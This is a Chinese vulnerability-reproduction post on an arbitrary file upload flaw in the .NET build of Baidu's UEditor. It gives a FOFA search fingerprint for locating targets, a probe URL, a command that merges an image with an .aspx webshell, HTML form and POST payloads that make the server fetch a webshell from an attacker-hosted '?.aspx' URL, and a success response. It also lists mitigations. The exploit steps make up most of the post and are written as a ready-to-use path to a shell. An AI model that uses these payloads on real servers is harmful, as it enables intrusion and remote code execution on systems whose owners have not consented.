漏洞复现-.Net-ueditor上传

发布时间:2023-08-28 11:30

ueditor上传

  • 简介
  • 影响范围
  • fofa 指纹
  • 漏洞介绍
  • 漏洞复现
    • 漏洞标识
    • 构造Html poc 上传图片马到目标站点
    • 抓包 直接post上传图片马
  • poc 验证
  • 漏洞修复
    • 后果
    • 修复

简介

UEditor是由百度web前端研发部开发的所见即所得的开源富文本编辑器,
具有轻量、可定制、用户体验优秀等特点。
基于MIT开源协议,所有源代码在协议允许范围内可自由修改和使用。
百度UEditor的推出,可以帮助不少网站开发者在开发富文本编辑器所遇到的难题,节约开发者因开发富文本编辑器所需要的大量时间,
有效降低了企业的开发成本。

  • 定制化:

全新的分层理念,满足多元化的需求。
采用三层架构:

  1. 核心层: 为命令层提供底层 API,如 range/selection/domUtils 类。
  2. 命令插件层: 基于核心层开发 command 命令,命令之间相互独立。
  3. 界面层: 为命令层提供用户使用界面。
    满足不同层次用户的需求。
  • 浏览器兼容

兼容 Mozilla, MSIE, FireFox, Maxthon,Safari 和 Chrome,实现浏览器无差别化。

  • 注重细节

统一不同浏览器下表格选取方式。
提供黑 / 白名单的过滤机制。
更好的 word 支持,实现粘贴转换机制。

影响范围

该漏洞影响UEditor的.Net版本,其他的php,jsp,asp版本不受此UEditor的漏洞的影响。
asp(.net)环境安装,win2008,漏洞版本只支持.net 4.0,选择net4.0

https://pan.baidu.com/s/1ntG3Tsl#list/path=%2F ueditor历史版本

http://fex.baidu.com/ueditor/#server-net UEditor文档

发布时间:2018-08-03
公开时间:2018-08-21
漏洞类型:逻辑漏洞
危害等级:高
漏洞编号:xianzhi-2018-08-16052905(不收取 驳回)
测试版本:github最新版

ueditor1_4_3-utf8-net.zip

fofa 指纹

body="UE.getEditor('editor').setHide()"

漏洞介绍

Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,

.net存在任意文件上传,导致可以绕过文件格式的限制达到任意文件上传 ,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。

漏洞的成因是在获取图片资源时仅检查了ContentType,

Crawler方法对source[]的检查仅仅是一个ContentType。

if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}

漏洞复现

漏洞复现-.Net-ueditor上传_第1张图片
测试上传正常功能
漏洞复现-.Net-ueditor上传_第2张图片
可在配置文件 与 多图上传 查看上传图片的 落地路径。
漏洞复现-.Net-ueditor上传_第3张图片

eg:

http://ip:8068/ueditor/net/upload/image/20220628/6379200402765060174657720.aspx

漏洞标识

访问net/controller.ashx 控制器文件
控制器中存在多个动作的调用,包含了uploadimage、uploadscrawl、uploadvideo、uploadfile、catchimage等等

在网址添加/controller.ashx?action=catchimage参数查看是否漏洞存在

http://ip:8068/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

漏洞复现-.Net-ueditor上传_第4张图片

构造Html poc 上传图片马到目标站点

copy 1.JPG/b + 1.aspx/a ueditor.jpg

复制当前目录下的1.jpg图片和当前目录下的1.aspx文件并以ASCII代码的方式合并为 ueditor.jpg图片

不是上传漏洞所以enctype 不需要指定为multipart/form-data

 <form action="http://xx.com/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
 
 <p>shell addr: <input type="text" name="source[]" /></p>
  
 <input type="submit" value="Submit" />
  
</form>


<form action="http://xxxxxxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">

<p>shell addr: <input type=“text” name=“source[]/></p >

<input type=“submit” value=“Submit” />

</form>

漏洞复现-.Net-ueditor上传_第5张图片
修改 目标站点
action后填写路径为实际中遇到的路径,不要太死板,如果太死板不按网站的实际路径来就会出现这种路径找不到的错误。
在这里插入图片描述
需要一个服务器,上传你的木马文件,其中 shell addr 后填写的就是你服务器上木马的地址加上后缀 ?.aspx (为了使服务器返回的ContentType是image/xxx)

eg: http://ip:端口/x.jpg?.aspx

http://www.xartvu.sn.cn/uploadimage/20220701/1_20220701_cce41be5e1044717a13137b3796062f8.jpg

只要绕过【image】检测就可以正常上传到目标服务器了,从而进一步getshell。
没有绕过【image】检测的话,就会显示如下提示:
漏洞复现-.Net-ueditor上传_第6张图片

漏洞复现-.Net-ueditor上传_第7张图片

 {"state":"SUCCESS","list":[{"state":"SUCCESS","source":"http://www.xxxx.com//upload/Encyclopedias/201808/03/2018080300550278683.png?.aspx","url":"/upload/image/201808/03/6366885698033038502306919.aspx"}]} 

抓包 直接post上传图片马

Hackbar
漏洞复现-.Net-ueditor上传_第8张图片

post内容写图片马的url

post 数据为:

source[]=https://s1.ax1x.com/2018/04/11/CkFSrn.jpg?.aspx

成功则访问图片马,注意访问的时候是配置里面的路径,根据个人情况进行路径调整

漏洞复现-.Net-ueditor上传_第9张图片

poc 验证

在这里插入图片描述
漏洞复现-.Net-ueditor上传_第10张图片

漏洞修复

后果

攻击者可以上传任意文件包括脚本执行文件,包括aspx脚本木马,asp脚本木马,还可以利用该UEditor漏洞对服务器进行攻击,执行系统命名破坏服务器

修复

1.修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码,文件上传格式的严格过滤与判断。
2.使用各类WAF软件,防止攻击者上传恶意文件。
3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。
4.目前临时的漏洞修复是建议,把文件上传目录设置无脚本执行权限,uploadvideo、uploadimage、catchimage、uploadscrawl、uploadfile、等等目录都设置上无脚本权限。
5.在百度UEditor官方没有出补丁前,设置图片目录为只读,禁止写入。

ItVuer - 免责声明 - 关于我们 - 联系我们

本网站信息来源于互联网,如有侵权请联系:561261067@qq.com

桂ICP备16001015号